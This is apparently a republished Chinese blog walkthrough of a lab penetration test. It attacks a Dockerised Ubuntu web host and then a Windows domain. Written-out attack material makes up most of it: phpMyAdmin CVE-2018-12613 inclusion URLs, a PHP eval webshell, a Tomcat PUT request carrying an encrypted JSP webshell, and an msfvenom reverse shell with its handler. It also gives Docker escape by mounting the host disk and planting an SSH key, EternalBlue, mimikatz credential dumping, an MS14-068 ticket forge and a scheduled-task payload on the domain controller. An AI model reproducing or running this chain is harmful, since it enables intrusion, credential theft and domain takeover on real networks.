当前位置:蜗牛素材网>综合资讯>图文>正文

linux镜像渗透 Linux渗透,曲折渗透之路

人气:186 ℃/2023-12-08 10:35:35

环境搭建

web服务(ubuntu):

web有三个服务:st2,Tomcat,phpmyadmin。分别为2001,2002,2003端口,为3个docker。

ip1:192.168.1.108 ip2:192.168.183.141

内网主机(win7):

ip:192.168.183.140

DC(win2008):

ip:192.168.183.130

攻击机器(kali):

ip:192.168.1.128

phpmyadmin Getshell

访问对应端口,发现都不需要输入密码直接进去了,那么这里方式就比较多了,提供的思路为使用CVE-2018-12613,漏洞网上已经有师傅分析了,这里就复现一波

2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、CTF、大厂面经、精品手册、必备工具包、路线)一>关注我,私信回复“资料”获取<一

这时一个远程文件包含漏洞,验证payload为:

http://192.168.1.108:2003/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd

可以看到读取了passwd的内容,证明漏洞存在。

这里getshell就可以通过包含session临时文件来实现命令执行 执行一个SELECT '<?php phpinfo(); ?>' 命令然后查看session值来访问临时文件。

执行成功后,查看自己的sessionid,phpmyadmin的值。

复制该值,把值带到sess_,直接访问:

http://192.168.1.108:2003/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_0b63245d88cef3d904fa32778f96120e

既然可以RCE,那么这里如何上传webshell呢。构造sql语句如下:

select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"

同样的方法找到sessionid,phpMyadmin的值。

访问:

http://192.168.1.108:2003/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_c4056d4984f0aab2e94bc7ddf6ee1a45

再访问cmd.php,发现成功写入了。

成功连接。

Struts2

访问2001端口,发现为Structs2框架。

由于是框架,先可以直接用一些写好的工具去扫一波。发现存在S2-045,S2-046漏洞。

使用S2-046漏洞可直接远程执行命令。

并且可以直接上传shell,这里shell的路径是可以改的。

访问后发现返回500,只能说他这个马应该有点问题,利用漏洞应该是没问题的。

Tomcat

可以看到这里是8.5.19的Tomcat,一般看到这种都是找一找版本漏洞。这里kali中已经有了相关版本的poc。

searchsploit tomcat 8.5.19

searchsploit -m /exploit/jsp/webapps/42966.py

直接利用:

python 42966.py -u http://192.168.1.108:2002/

可以看到利用成功,并写入了一个shell。访问shell,证实存在漏洞:

当我想用这个脚本执行一些命令时,出现了一些问题,于是准备自己手动构造一波:

使用bp抓包,改用PUT,这里使用的是冰蝎2.0的马,3.0的马上传了之后是连不上的。

exp为:

PUT /sd.jsp/ HTTP/1.1Host: 192.168.1.108:2002Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 617<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=("" UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u") "").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

返回201的状态码说明上传成功

内网渗透

回到phpmyadmin这个shell。想上线cs方便操作,发现他是liunx:

cs是不自带Linux的上线方式的,但这里还是想上线,使用CrossC2插件上线。

这里如何配置网上的教程已经有很多了,生成一个命令行式的一句话,curl上线。

但是这里出现了小插曲,可能由于是docker的原因,这里并没有成功上线,更换了webshell工具也是不行的,测试本机都是可以的。

那么这里只好试试msf,生成elf文件:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf

生成elf文件后上传到web根目录下,并chmod命令修改权限为777。

msf准备接受会话

use exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcpset lhost 192.168.1.128set lport 4444run

然后执行shell.elf,成功接收到会话。

docker逃逸

这里的逃逸方法为privileged特权。特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

此外还可以通过写入计划任务等方式在宿主机执行命令。那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh登录。

查看磁盘文件:fdisk -l

可以看到是在/dev目录下:ls /dev

创建一个目录test,将/dev/sda1挂载到新建的目录下

mkdir /testmount /dev/sda1 /test

已经可以访问宿主机上的目录内容了。

然后使用ssh生成一个私钥,用chmod命令赋予权限。

ssh-keygen -f testchmod 600 test

这里桌面会生成一个test.pub

ls /test/home即可查看目标机器的用户都有哪些

进入到ubuntu用户,里面会存在.ssh目录,我们需要将密钥写入.ssh目录并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)。依次执行以下两条命令写入密钥文件。

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub/test/home/ubuntu/.ssh/authorized_keysecho '生成的.pub文件的内容' >/test/home/ubuntu/.ssh/authorized_keys

再使用ssh去连接ssh -i test ubuntu@192.168.1.108

这里有个隐藏buff就是历史命令未删除问题,跟接下来拿win7有关系。使用命令history

liunx系统上线cs

这下应该可以上线cs了吧,还是刚刚的套路,通过curl无文件上线,成功上线。

查看网卡信息时发现除了刚刚的一些混淆的docker ip外,有另外一张网卡。

这里就准备扫一下。因为没有自带的端口扫描,上传一个fscan去扫一下:

shell /home/ubuntu/fscan_amd64 -h 192.168.183.1/24

发现有同网段主机一台win7,并且有永恒之蓝的漏洞。这里就想要利用永恒之蓝,cs在Linux上的功能还是比较缺失的,这里还是先用msf打一波。

通过上传elf文件再执行,得到shell反弹回msf,然后添加路由:

route add 192.168.183.0 255.255.255.0 4route print

use auxiliary/server/socks_proxyset version 4arun

修改proxychains4.conf

使用永恒之蓝模块去打:

use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcpset rhosts 192.168.183.140run

这里直接上线了,执行命令后发现是有域的。

通过nslookup查询迅速确定域控ip:192.168.183.130

域控出来了,思路就明确了。这里还是想先上线cs方便操作。由于CrossC2提供的功能较少,选择做代理,将cs带入到内网。

使用Venom Proxifier,上传agent到边缘机器。

边缘机器执行命令:

shell /home/ubuntu//Desktop/agent_linux_x86 -rhost 192.168.1.128 -rport 9999

配置Proxifier.conf文件

启动Proxifier后发现已经可以通向内网机器win7。

sudo systemctl start proxifier

这里可以中继或者使用tcp beacon。但是两个我都没有成功,cross c2在高版本的cs下的功能还是弱了点,就放弃了。

win7信息收集

拿到内网一台主机,首先就想抓他的密码,加上这台主机是win7,是可以直接抓取到明文密码的。这里已经上传了一个mimikatz,直接利用。

privilege::debugsekurlsa::logonpasswords

win7抓取密码就比较轻松了,这里也是直接抓到明文。也跟上面历史命令相呼应。

浏览器密码等也是可以翻一下的,比较该主机已经在域内了,很多信息可能对我们拿下域控很有帮助。补丁还是打了不少,不过由于操作系统有点老了,总都会有些洞,经过对比发现ms14-068的补丁并没有安装,是可以利用的。

通过mimikatz抓取,获得了域内用户douser的sid和明文密码,并且知道域名称等信息,使用工具直接利用。

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

注入票据,注入后通过klist查看已经有了票据。

mimikatz # kerberos::list //查看当前机器凭证mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache //将票据注入

通过ipc连接或者dir可以直接访问域控机器,抓取密码的信息中已经有了域控机器名。

访问拿下域控

net use \\WIN-ENS2VR5TR3Ndir \\WIN-ENS2VR5TR3N\C$

有了ipc连接就可以计划任务上线了。同样生成一个正向的马。上传到DC机器。查看时间,并设置计划任务执行。

copy 2.exe \\WIN-ENS2VR5TR3N\c$\win.exenet time \\WIN-ENS2VR5TR3Nschtasks /create /s 192.168.183.130 /tn c /tr c:/win.exe /sc once /st 16:36

获取到shell,getsystem竟然可以直接提权。抓密码省略。。图太多了。

后记

本来是想在cs上进行后渗透,由于开头一个linux,cs上线进行后渗透还是困难了一点,msf和cs搭配使用要好一些。。

搜索更多有关“linux镜像渗透 Linux渗透,曲折渗透之路”的信息 [百度搜索] [SoGou搜索] [头条搜索] [360搜索]
本网站部分内容、图文来自于网络,如有侵犯您的合法权益,请及时与我们联系,我们将第一时间安排核实及删除!
CopyRight © 2008-2024 蜗牛素材网 All Rights Reserved. 手机版